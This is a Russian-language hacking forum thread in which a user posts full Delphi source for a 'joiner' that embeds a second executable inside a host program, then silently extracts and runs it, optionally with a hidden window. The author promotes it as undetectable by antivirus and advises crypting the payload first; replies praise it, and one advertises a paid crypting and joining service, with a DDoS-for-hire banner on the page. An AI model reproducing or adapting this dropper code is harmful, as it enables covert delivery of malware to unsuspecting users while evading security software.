Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


Склейка файлов by execom


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 5

#1
execom

execom

    Бит

  • Members
  • 3 сообщений
Суть метода предельно, до тупого проста и понятна всем.
В исходник программы носителя добавляется приведённая ниже
процедура: Joiner. А дальше где-нибудь в программе
устанавливется её вызов, например в начале основной части
или, если её нет в функции FormCreate, в общем где посчитаете
нужно, там и ставите... Далее действуем так: у нас есть
два файла например nositel.exe-файл-носитель и Joined.exe -
клеимый файл.Рззмещаем эти файлы в одном каталоге, запускаем
nositel.exe в этом же каталоге образуется файл nositel.exe.exe
он представляет собой уже склееные два файла nositel.exe и
Joined.exe с добавленной в DOS-заголовке меткой склеености)))
В общем-то если вы все параметры правильно ввели то у всё
уже готово))... Переименовываем nositel.exe.exe в рабочее имя
и можем его применять... при запуске этого файла он извлекает
приклееную прогу в указанное в параметре место и в зависимости
от выбранный парамтров запускает или нет с выбранным способом
отображения окна)))

Я думаю, что вопросы по теме будут, хотя вроде всё понятно,
в общем что не ясно спрашивайте....

Преемущества метода:
- Непалим антивирями по причине отсутствия загрузщика;
- Метод прост и не требует наличия каких-либо средств;
- Метод очень компактный в реализации;

Недостатки метода:
- Нельзя склеивать любые два файла, в качестве файла-носителя
можно применять только файл, чей делфи исходник у вас есть...

Особенность метода:
- Упаковку и криптование файлов необходимо провести до склеивания)))

Вот исходник процедуры, полностью описанный и с примером применения:

Скрытый текст
//////////////////////////////////
////   AutoJoiner by execom   ////
////   52Nn 'n' DE (c) 2007   ////
////  52nn.net & d4rkevil.org ////
//////////////////////////////////

{$M 65000}//Эта дериктива компилятору выделяет память под запуск приложения
//Её необходимо будет добавлять в каждую прогу внячале кода...
program Project3;
uses  //Для работы процедуры необходимо присутствие этих модулей
  SysUtils,
  Windows;

Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
  mSize=56789;//Размер программы-носителя к которой будет крениться файл
  fSize=12345;//Размер крепимого файла
  //Эти два значения мы устанавливаем опытным путем и записываем сами
type
  MnBuf=array[1..mSize] of Char;
  FlBuf=array[1..fSize] of Char;
  LaBuf=array[1..8] of Char;
var
  mBuf : MnBuf;
  fBuf : FlBuf;
  lBuf : LaBuf;
  f : File of Char;
begin
  FileMode:=0;//Устанавливаем режим работы с файлами "Только чтение"
  AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
  Reset(f);//Открываем себя
  Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
  //В DOS-заголовке ехе-файла на имеются зарезервированные места,
  //которые пока их не заняли мы можем свободно использовать
  //на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
  BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
  if LBuf='E}{eC()M' then
  //Если в этом месте наша метка значит файл уже приклеин и нам необходимо
  //его из себя извлечь и по необходимости запустить в выбраном режиме отображения
  //Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
  // и не более 20 байт в позиции 28h... Мы находимся на втором уровне
  Begin
	Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
	BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
	CloseFile(f);//Закрываем себя
	FileMode:=2;//Устанавливаем режим работы с файлами "Только запись"
	{$I-}//Отключаем проверку ошибок ввода вывода
	AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
	ReWrite(f);//Создаем с перезаписью пустой файл
	BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
	CloseFile(f);//Закрываем себя
	{$I+}//Включаем проверку ошибок ввода вывода
	if fStart then WinExec(PChar(fPath+fName+' '+fCMD),fShow);
	//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
  end
  else
  //Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
  //Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
  begin
	{$I-}//Отключаем проверку ошибок ввода вывода
	Seek(f,0);//Переходим на позицию начала своего файла
	BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
	CloseFile(f);//Закрываем себя
	AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
	Reset(f);//Открываем его
	BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
	CloseFile(f);//Закрываем клеимый файл
	FileMode:=2;//Устанавливаем режим работы с файлами "Только запись"
	AssignFile(f,paramstr(0)+'.ExE');//Ассоциируем переменную f с путём к файлу с именем,
	//как у файла носителя + .ЕхЕ
	ReWrite(f);//Создаём новый пустой файл
	BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
	BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
	seek(f,$1C);//Переходим на позицию установки метки
	LBuf:='E}{eC()M';//Присваивем переменной значение метки
	BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
	CloseFile(f);//Закрываем файл
	{$I+}//Включаем проверку ошибок ввода вывода
  end;
end;
begin
//Применение процедуры Joiner:
//fName - Имя клеимого файла
//fPath - Папка распаковки файла
//fCMD - командная строка запуска файла (если есть)
//fstart - true - запускаем, false - не запускаем, извлечённый файл
//fShow - Режим отображения запущеного файла например:

//SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.

Joiner('calc.exe',GetEnvironmentVariable('TMP')+'\','',true,SW_Show);
end.

P.S. При написании программ с паблик исходниками пояснения из кода
можете убрать, но оставьте строки копирайта:
//////////////////////////////////
////   AutoJoiner by execom   ////
////   52Nn 'n' DE (c) 2007   ////
////  52nn.net & d4rkevil.org ////
//////////////////////////////////

Хотя - это скорей проcьба)))

#2
HenzO

HenzO

    Бит

  • Members
  • 15 сообщений
мля чувак респект тебе, нет слов просто
ток маяться над долго, размер файлов писать....

#3
execom

execom

    Бит

  • Members
  • 3 сообщений

HenzO сказал:

ток маяться над долго, размер файлов писать....
Ну на самом деле все так сложно)))

1) Добавляем в прогу-носитель процедуру..
  а) Вставляем процедуру..
  б) Вставляем вызов процедуры..
  в) Ставим размер файла который надо клеить, его мы уже запакали и криптонули.
  г) Ставим левый размер файла-носителя, например 12345..

2) Компилируем..

3) Пакуем..

4) Смотрим размер файла))

5) Ставим определённый размер в исходник..

6) Повторяем 2,3 пункт..

7) Досконально проверяем работоспособность файла и его палимость..

P.S. Не так и много, тем более, что ведь плюсы у этого метода то же есть))))

#4
HenzO

HenzO

    Бит

  • Members
  • 15 сообщений
даешь видео для нубов!

#5
Nood1e

Nood1e

    Бит

  • Members
  • 10 сообщений
пользуюсь этим всё гуд ! ден респект

#6
GlOFF

GlOFF

    Бит

  • Advanced
  • 28 сообщений
Главное что код исходный доступен :)
Качественный, индивидуальный, ручной крипт exe\dll
Crypt-Service and Join-Service:  icq 188-()97


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных